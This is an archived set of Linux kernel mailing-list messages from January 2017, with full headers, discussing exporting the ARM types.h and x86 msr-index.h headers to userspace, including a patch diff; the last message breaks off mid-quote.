        b=HpmyBCSxhVpORHBRpqWZ6DdjdeE89ClwzyICrrbO4RbM1TwkXPdtVkzF+CEicUp70TqwVUeOzUW4R2eLEarfgwApdOZNwgK0UKyABzzs7eQVJs+Ktou0HXZSc4rbMglsFOVzX4L82CjLVxWJBUgQIS9OzzvJ4Hb72k9L2OwUm68=;
Original-Received: from n2100.armlinux.org.uk ([2001:4d48:ad52:3201:214:fdff:fe10:4f86]:36064)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@armlinux.org.uk>)
        id 1cS4a4-0006uM-D2; Fri, 13 Jan 2017 16:19:56 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1cS4a0-0002ky-FD; Fri, 13 Jan 2017 16:19:52 +0000
Content-Disposition: inline
In-Reply-To: <4633e475-47f2-5627-81a9-a1747dfddbc0@6wind.com>
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1123 gmane.linux.ports.mips.general:57475 gmane.linux.ports.m68k:9141 gmane.linux.ports.ia64:27609 gmane.linux.documentation:44313 gmane.linux.alsa.devel:163149 gmane.comp.video.dri.devel:176243 gmane.linux.drivers.mtd:71345 gmane.linux.ports.sparc:24405 gmane.linux.kernel.cross-arch:34805 gmane.linux.drivers.rdma:45591 gmane.linux.ports.sh.devel:55044 gmane.linux.scsi.open-fcoe.devel:13028 gmane.linux.kernel.arc:2023 gmane.linux.drivers.video-input-infrastructure:111921 gmane.linux.kbuild.devel:16319 gmane.linux.raid:55385 gmane.linux.kernel.metag:1246 gmane.linux.ports.arm.kernel:550492 gmane.linux.nfs:81446 gmane.linux.ports.parisc:27198 gmane.linux.kernel.mmc:42247 gmane.linux.kernel:2387664 gmane.linux.kernel.spi.devel:26119 gmane.comp.security.firewalls.netfilter.devel:66862 gmane.linux.ports.alpha:4046 gmane.linux.ports.ppc64.devel:137288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1123>

On Fri, Jan 13, 2017 at 05:01:01PM +0100, Nicolas Dichtel wrote:
> Please, do not remove the email subject when you reply. I restore it to
> ease the thread follow-up.

I mentioned it to David, and he says it's because the long list of
recipients is breaking his mailer.  I've already posed the question
about whether that's exploitable!

> Le 13/01/2017  16:36, David Howells a crit :
> > Nicolas Dichtel <nicolas.dichtel@6wind.com> wrote:
> > 
> >> This header file is exported, thus move it to uapi.
> > 
> > Exported how?
> 
> It is listed in include/uapi/asm-generic/Kbuild.asm, which is included by
> arch/arm/include/uapi/asm/Kbuild.

We really should not be installing non-uapi header files to userland
under _any_ circumstance - this to me sounds like a bug in kbuild.

The assumption is that headers outside of uapi directories are not
part of the user visible API, and so can be freely modified - which
in the presence of this bug is untrue.

However, as it's happening, and this header has been there since 2013
(commit 09096f6a0ee2 - "ARM: 7822/1: add workaround for ambiguous C99
stdint.h types") it's now well and truely part of the user API whether
we intended it to be or not, so your patch looks to me like the correct
thing to do.

I think it needs further evaluation to make sure kbuild isn't going to
do something else silly, like subsitute include/asm-generic/types.h for
the now missing arch/arm/include/asm/types.h

I wonder how many more headers are unintentionally exported.

... what a mess. :(

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.

From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v3 4/8] x86: stop exporting msr-index.h to userland
Date: Fri, 13 Jan 2017 17:38:36 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20170113163836.jn3u6xyfcrbtynut@pd.tnic>
References: <1484304406-10820-5-git-send-email-nicolas.dichtel@6wind.com>
 <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
 <25483.1484322229@warthog.procyon.org.uk>
 <dd826bc7-e1ef-be29-e0c3-692afb346036@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484325558 3582 195.159.176.226 (13 Jan 2017 16:39:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 16:39:18 +0000 (UTC)
User-Agent: NeoMutt/20161014 (1.7.1)
Cc: David Howells <dhowells@redhat.com>, arnd@arndb.de,
        linux-kbuild@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtens
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-sh-owner@vger.kernel.org Fri Jan 13 17:39:08 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1cS4sd-0008RS-B0
	for glps-linuxsh-dev@m.gmane.org; Fri, 13 Jan 2017 17:39:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751031AbdAMQi6 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 13 Jan 2017 11:38:58 -0500
Original-Received: from mail.skyhub.de ([78.46.96.112]:54667 "EHLO mail.skyhub.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750789AbdAMQit (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Fri, 13 Jan 2017 11:38:49 -0500
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
        by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id OLLeXlSgQoIp; Fri, 13 Jan 2017 17:38:43 +0100 (CET)
Original-Received: from pd.tnic (p2003008C2F3A7C0099559D88C4B2656A.dip0.t-ipconnect.de [IPv6:2003:8c:2f3a:7c00:9955:9d88:c4b2:656a])
        (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 724E867685;
        Fri, 13 Jan 2017 17:38:43 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
        id 3A7E0160BE5; Fri, 13 Jan 2017 17:38:36 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <dd826bc7-e1ef-be29-e0c3-692afb346036@6wind.com>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55045 gmane.linux.kbuild.devel:16321 gmane.linux.documentation:44318 gmane.linux.kernel:2387679 gmane.linux.ports.alpha:4047 gmane.linux.kernel.arc:2024 gmane.linux.ports.arm.kernel:550498 gmane.linux.ports.hexagon:1124 gmane.linux.ports.ia64:27610 gmane.linux.ports.m68k:9142 gmane.linux.kernel.metag:1247 gmane.linux.ports.mips.general:57476 gmane.linux.ports.parisc:27199 gmane.linux.ports.ppc64.devel:137292 gmane.linux.ports.sparc:24406 gmane.linux.kernel.cross-arch:34807 gmane.comp.video.dri.devel:176245 gmane.linux.network:450069 gmane.linux.drivers.video-input-infrastructure:111922 gmane.linux.kernel.mmc:42249 gmane.comp.security.firewalls.netfilter.devel:66863 gmane.linux.nfs:81447 gmane.linux.raid:55386 gmane.linux.kernel.spi.devel:26120 gmane.linux.drivers.mtd:71347 gmane.linux.drivers.rdma:45592 gmane.linux.scsi.open-fcoe.devel:13029 gmane.linux.alsa.devel:163150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55045>

On Fri, Jan 13, 2017 at 05:08:34PM +0100, Nicolas Dichtel wrote:
> Le 13/01/2017 à 16:43, David Howells a écrit :
> >> -header-y += msr-index.h
> > 
> > I see it on my desktop as /usr/include/asm/msr-index.h and it's been there at
> > least four years - and as such it's part of the UAPI.  I don't think you can
> > remove it unless you can guarantee there are no userspace users.
> I keep it in the v2 of the series, but the maintainer, Borislav Petkov, asks me
> to un-export it.
> 
> I will follow the maintainer decision.

I'm not the maintainer. I simply think that exporting that file was
wrong because it if we change something in it, we will break userspace.
And that should not happen - if userspace needs MSRs, it should do its
own defines.

-- 
Regards/Gruss,
    Boris.

Good mailing practices for 400: avoid top-posting and trim the reply.
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3 1/8] arm: put types.h in uapi
Date: Fri, 13 Jan 2017 17:06:10 +0000
Lines: 126
Approved: news@gmane.org
Message-ID: <20170113170610.GV14217@n2100.armlinux.org.uk>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
 <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484327234 13218 195.159.176.226 (13 Jan 2017 17:07:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 17:07:14 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 daniel.vetter@ffwll.ch, linux-fbdev@vger.kernel.org,
 dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org, hch@infradead.org,
 coreteam@netfilter.org, msalter@redhat.com, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, arnd@arndb.de, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openri
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jan 13 18:07:03 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1cS5Je-0002UK-Ew
	for gla-linux-snps-arc@m.gmane.org; Fri, 13 Jan 2017 18:07:02 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cS5Jh-0004xO-8a; Fri, 13 Jan 2017 17:07:05 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cS5Jb-0004nY-UA
 for linux-snps-arc@lists.infradead.org; Fri, 13 Jan 2017 17:07:03 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=qDgwMPtEvON6OevU7pS4P6Au++EQ74mefwnc9DmJ/jQ=; 
 b=ewam5BgApi7L28MyuWf+jZAf/n4mIhGuN7zihU/Dv8D4C6IUbgVCfnd3PmFfQnjXwQpaeZQZnCDvvGDY2LNjMY3xtvBFUHd6sGoyRcAwR4xz3mB8YbcXrpE2FengsdRmXieSMoeZeA2Lw3Q6hT68/+LATogPSlqADlfI9mDKhNg=;
Original-Received: from n2100.armlinux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51484)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1cS5Iu-00079e-64; Fri, 13 Jan 2017 17:06:16 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
 (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1cS5Ip-0003Kz-Qe; Fri, 13 Jan 2017 17:06:12 +0000
Content-Disposition: inline
In-Reply-To: <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170113_090700_584715_E3CCBC44 
X-CRM114-Status: GOOD (  19.90  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2025 gmane.linux.ports.mips.general:57477 gmane.linux.alsa.devel:163152 gmane.linux.ports.ia64:27611 gmane.linux.documentation:44321 gmane.comp.video.dri.devel:176248 gmane.linux.drivers.mtd:71350 gmane.linux.ports.sparc:24407 gmane.linux.kernel.cross-arch:34808 gmane.linux.drivers.rdma:45595 gmane.linux.ports.hexagon:1125 gmane.linux.ports.sh.devel:55046 gmane.linux.scsi.open-fcoe.devel:13030 gmane.linux.drivers.video-input-infrastructure:111923 gmane.linux.kbuild.devel:16322 gmane.linux.raid:55387 gmane.linux.kernel.metag:1248 gmane.linux.ports.arm.kernel:550515 gmane.linux.nfs:81451 gmane.linux.ports.parisc:27200 gmane.linux.network:450071 gmane.linux.kernel.mmc:42250 gmane.linux.kernel:2387707 gmane.linux.kernel.spi.devel:26122 gmane.comp.security.firewalls.netfilter.devel:66864 gmane.linux.ports.alpha:4048 gmane.linux.ports.ppc64.devel:137296
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2025>

On Fri, Jan 13, 2017 at 11:46:39AM +0100, Nicolas Dichtel wrote:
> This header file is exported, thus move it to uapi.

I'm taking this patch, but with the following commit log:

  Due to the way kbuild works, this header was unintentionally exported
  back in 2013 when it was created, despite it not being in a uapi/
  directory.  This is very non-intuitive behaviour by Kbuild.

  However, we've had this include exported to userland for almost four
  years, and searching google for "ARM types.h __UINTPTR_TYPE__" gives
  no hint that anyone has complained about it.  So, let's make it
  officially exported in this state.

If anyone has any objections, they better shout sooner rather than
later.

> 
> Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
> ---
>  arch/arm/include/asm/types.h      | 40 ---------------------------------------
>  arch/arm/include/uapi/asm/types.h | 40 +++++++++++++++++++++++++++++++++++++++
>  2 files changed, 40 insertions(+), 40 deletions(-)
>  delete mode 100644 arch/arm/include/asm/types.h
>  create mode 100644 arch/arm/include/uapi/asm/types.h
> 
> diff --git a/arch/arm/include/asm/types.h b/arch/arm/include/asm/types.h
> deleted file mode 100644
> index a53cdb8f068c..000000000000
> --- a/arch/arm/include/asm/types.h
> +++ /dev/null
> @@ -1,40 +0,0 @@
> -#ifndef _ASM_TYPES_H
> -#define _ASM_TYPES_H
> -
> -#include <asm-generic/int-ll64.h>
> -
> -/*
> - * The C99 types uintXX_t that are usually defined in 'stdint.h' are not as
> - * unambiguous on ARM as you would expect. For the types below, there is a
> - * difference on ARM between GCC built for bare metal ARM, GCC built for glibc
> - * and the kernel itself, which results in build errors if you try to build with
> - * -ffreestanding and include 'stdint.h' (such as when you include 'arm_neon.h'
> - * in order to use NEON intrinsics)
> - *
> - * As the typedefs for these types in 'stdint.h' are based on builtin defines
> - * supplied by GCC, we can tweak these to align with the kernel's idea of those
> - * types, so 'linux/types.h' and 'stdint.h' can be safely included from the same
> - * source file (provided that -ffreestanding is used).
> - *
> - *                    int32_t         uint32_t               uintptr_t
> - * bare metal GCC     long            unsigned long          unsigned int
> - * glibc GCC          int             unsigned int           unsigned int
> - * kernel             int             unsigned int           unsigned long
> - */
> -
> -#ifdef __INT32_TYPE__
> -#undef __INT32_TYPE__
> -#define __INT32_TYPE__		int
> -#endif
> -
> -#ifdef __UINT32_TYPE__
> -#undef __UINT32_TYPE__
> -#define __UINT32_TYPE__	unsigned int
> -#endif
> -
> -#ifdef __UINTPTR_TYPE__
> -#undef __UINTPTR_TYPE__
> -#define __UINTPTR_TYPE__	unsigned long
> -#endif
> -
> -#endif /* _ASM_TYPES_H */
> diff --git a/arch/arm/include/uapi/asm/types.h b/arch/arm/include/uapi/asm/types.h
> new file mode 100644
> index 000000000000..9435a42f575e
> --- /dev/null
> +++ b/arch/arm/include/uapi/asm/types.h
> @@ -0,0 +1,40 @@
> +#ifndef _UAPI_ASM_TYPES_H
> +#define _UAPI_ASM_TYPES_H
> +
> +#include <asm-generic/int-ll64.h>
> +
> +/*
> + * The C99 types uintXX_t that are usually defined in 'stdint.h' are not as
> + * unambiguous on ARM as you would expect. For the types below, there is a
> + * difference on ARM between GCC built for bare metal ARM, GCC built for glibc
> + * and the kernel itself, which results in build errors if you try to build with
> + * -ffreestanding and include 'stdint.h' (such as when you include 'arm_neon.h'
> + * in order to use NEON intrinsics)
> + *
> + * As the typedefs for these types in 'stdint.h' are based on builtin defines
> + * supplied by GCC, we can tweak these to align with the kernel's idea of those
> + * types, so 'linux/types.h' and 'stdint.h' can be safely included from the same
> + * source file (provided that -ffreestanding is used).
> + *
> + *                    int32_t         uint32_t               uintptr_t
> + * bare metal GCC     long            unsigned long          unsigned int
> + * glibc GCC          int             unsigned int           unsigned int
> + * kernel             int             unsigned int           unsigned long
> + */
> +
> +#ifdef __INT32_TYPE__
> +#undef __INT32_TYPE__
> +#define __INT32_TYPE__		int
> +#endif
> +
> +#ifdef __UINT32_TYPE__
> +#undef __UINT32_TYPE__
> +#define __UINT32_TYPE__	unsigned int
> +#endif
> +
> +#ifdef __UINTPTR_TYPE__
> +#undef __UINTPTR_TYPE__
> +#define __UINTPTR_TYPE__	unsigned long
> +#endif
> +
> +#endif /* _UAPI_ASM_TYPES_H */
> -- 
> 2.8.1
> 

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.

From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Johannes Weiner <hannes@cmpxchg.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Sat, 14 Jan 2017 11:29:15 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20170114162915.GF26139@cmpxchg.org>
References: <20170112131659.23058-1-mhocko@kernel.org>
 <20170112131659.23058-4-mhocko@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1484411383 29350 195.159.176.226 (14 Jan 2017 16:29:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 14 Jan 2017 16:29:43 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
	Mel Gorman <mgorman@suse.de>, David Rientjes <rientjes@google.com>,
	Michal Hocko <mhocko@suse.com>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"David S. Miller" <davem@davemloft.net>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Sat Jan 14 17:29:35 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cSRCq-0006bS-Mu
	for glkm-linux-mm-2@m.gmane.org; Sat, 14 Jan 2017 17:29:28 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D99436B0033; Sat, 14 Jan 2017 11:29:32 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D49DD6B0069; Sat, 14 Jan 2017 11:29:32 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C11646B0253; Sat, 14 Jan 2017 11:29:32 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f70.google.com (mail-wm0-f70.google.com [74.125.82.70])
	by kanga.kvack.org (Postfix) with ESMTP id 8087F6B0033
	for <linux-mm@kvack.org>; Sat, 14 Jan 2017 11:29:32 -0500 (EST)
Original-Received: by mail-wm0-f70.google.com with SMTP id d140so21596447wmd.4
        for <linux-mm@kvack.org>; Sat, 14 Jan 2017 08:29:32 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-disposition:in-reply-to
         :user-agent;
        bh=9zghsrcHID5sYM9DHiGn0ppINSV47RWX1loK9VCS0UM=;
        b=EFZC8OA9H2Z65JPKnCdTLowPo3loepx+uJ7QPixxd8bFyTRkgLNxc0PfAKJuviGD/t
         RivIklcIx2GYMRtB7+xAQlxRsi4pgRka824PUXsJem/IOSZzezsvg+G2XR2M8FSyoA6K
         ClLiANgN2ppxFVjhm3aCOeNRGfLwEmHow13bAO3mIk/eLc5gQppI1pQnDCuwu2zOpYif
         td7UgnjvVsYoCH2JmF/Sm8puALyWZhes1HFGIBlKWwErIK1HjpZur/6xpt1zbYqLLJaO
         QdiLtMlyYFYWliYARIl230SEE1VvSCeUVoBw/HM5JNGgAlQEmFQWVX1VhYIbaDu6sZtQ
         PAhA==
X-Gm-Message-State: AIkVDXIaHyOz+/azVsznX3lzyDtZG1qXhrYXKKJHjDqi9pIjInkRr0TiLKnjkIaqU+0i3pp7gxKckvk9YI9EMlt+6cmnwuBw3bh0bxKGWO+3Bup8Kho7NCor6UZWuYccMQIU5kMjuMft4sit4G/ErtJCLMWugtaEfk/TPMNn0tGRVUzgV+52JMxxuXyT
X-Received: by 10.223.150.58 with SMTP id b55mr16201269wra.192.1484411371974;
        Sat, 14 Jan 2017 08:29:31 -0800 (PST)
X-Received: by 10.223.150.58 with SMTP id b55mr16201254wra.192.1484411371443;
        Sat, 14 Jan 2017 08:29:31 -0800 (PST)
Original-Received: from gum.cmpxchg.org (gum.cmpxchg.org. [85.214.110.215])
        by mx.google.com with ESMTPS id l2si15278480wrc.6.2017.01.14.08.29.31
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 14 Jan 2017 08:29:31 -0800 (PST)
Received-SPF: pass (google.com: domain of hannes@cmpxchg.org designates 85.214.110.215 as permitted sender) client-ip=85.214.110.215;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@cmpxchg.org;
       spf=pass (google.com: domain of hannes@cmpxchg.org designates 85.214.110.215 as permitted sender) smtp.mailfrom=hannes@cmpxchg.org;
       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=cmpxchg.org
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=cmpxchg.org
	; s=x; h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:
	Cc:To:From:Date:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
	List-Post:List-Owner:List-Archive;
	bh=9zghsrcHID5sYM9DHiGn0ppINSV47RWX1loK9VCS0UM=; b=22nrJPcLG3UuJhpvKzh/djKiWk
	6SB9dIVMATr7V9jpvdMU9i/2Mz3sD2IodT/8kn+b1vBmgAPFlxHJpnjZWg5kpFONrdwICXUi4wfbJ
	zmW74khPFFCDHlX3MACtUC+KWgiqyREoUzNnnfp+tkRabCdfV1xJJPDVdIKOfa07LlqI=;
Content-Disposition: inline
In-Reply-To: <20170112131659.23058-4-mhocko@kernel.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:164457 gmane.linux.ports.ia64:27612 gmane.linux.ports.parisc:27201
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/164457>

On Thu, Jan 12, 2017 at 02:16:58PM +0100, Michal Hocko wrote:
> From: Michal Hocko <mhocko@suse.com>
> 
> We have a generic implementation for quite some time already. If there
> is any arch specific information to be printed then we should add a
